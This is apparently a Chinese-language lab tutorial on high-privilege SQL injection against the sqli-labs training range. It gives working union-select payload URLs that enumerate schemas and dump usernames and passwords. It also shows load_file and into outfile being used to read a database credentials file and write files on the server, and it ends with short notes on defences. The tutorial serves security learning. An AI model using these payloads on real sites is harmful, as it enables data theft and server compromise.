SQL注入之高权限注入
简介
在常规WEB网站架构中可能存在不同的网站对应不同的数据库不同的管理用户,不同的用户拥有对数据库不同的操作权限,因此获取高权限用户可以帮助我们更好的进行测试
'''
1:网站A--->数据库A---->用户A
1:网站B--->数据库B---->用户B
1:网站C--->数据库C---->用户C
'''
作用
- 跨库查询:跨越当前数据库对别的数据库进行查询
- 文件读写:利用注入对文件进行读取或者写入
- 存在魔术引号:编码/宽字节绕过
- 不存在魔术引号
靶场测试
跨库注入
判断字段数量
# 根据测试此时order by为3的时候页面正常因此字段数量为3
http://10.1.1.20/sqilabs/Less-2/?id=2 order by 3
报错回显
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,2,3
查询所有数据库名称
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(SCHEMA_NAMA),user() from information_schema.schemata
查询数据库对应的表名
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
查询表名对应的字段名
# 指定数据库名称防止有太多数据库中含有users表
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1, group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schma='pikachu'
查询数据
# 指定所需要查询数据库对应的表
http://10.1.1.20/sqilabs/Less-2/?id=-2 union select 1,username,password from pikachu.users
文件读写
读写方法
- 读取操作:load_file
- 写入方法:into outfile/into dumpfile
load_file
在MySQL中使用该函数需要满足如下条件
- 对目标文件拥有读取权限
- secure_file_priv
show global variables like "secure_file_priv";
# 修改secure_file_privsudo vim /etc/mysql/my.cnf secure_file_priv=''# 重启mysql服务sudo systemctl restart mysqlshow global variables like '%secure_file_priv%';
# 读取文件SELECT LOAD_FILE('/etc/hosts');
into outfile
# 在/home/sean下书写一个文件hello.txt 内容为hello worldselect "hello world" into outfile "/home/sean/hello.txt"
# 查看权限SHOW VARIABLES LIKE 'datadir';
# 将写入文件修改上述目录select "hello world" into outfile "/var/lib/mysql/hello.txt"
获取网站路径
- 报错显示:输入错误代码使网站报错可能会显示出文件目录
- 遗留文件:一些网站需要测试可能会有一些测试文件测试文件会有网站路径(例如:phpinfo)
- 报错显示:知道网站使用的主题或者框架查询对应的文件路径
- 配置文件:通过读取网站配置文件获取相应的路径
- 爆破:例如一些常见的配置路径
读取/写入
读取
# 小白只是为了学习默认知道文件路径
http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,load_file("/www/admin/localhost_80/wwwroot/sqilabs/sql-connections/db-creds.inc"),3
写入
# 注入恶意代码使用--+注释源代码的limit 0,1
http://10.1.1.20/sqilabs/Less-2/?id=-1 union select 1,"hello world",3 into outfile "/www/hello.txt" --+
魔术引号
魔术引号若是打开的话,所有的反斜线()、单引号(')、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义
magic_quotes_gpc()
,当此值为1时,会对HTTP请求中的Get
,Post
,Cookie
单双引号和反斜线进行转义;反之则不会。该操作一般见于表单提交的数据库操作,若是值为0时,便用addslashes进行转义存入数据库中,取出时再用stripslashes函数把反斜线给去掉
安全防护
防护方法
- 魔术引号
- 内置函数:例如使用
int
函数对传入的id
进行判断不是整数就拒绝带入MySQL
查询 - 自定义select查询
- 安全防护软件:安全狗,宝塔等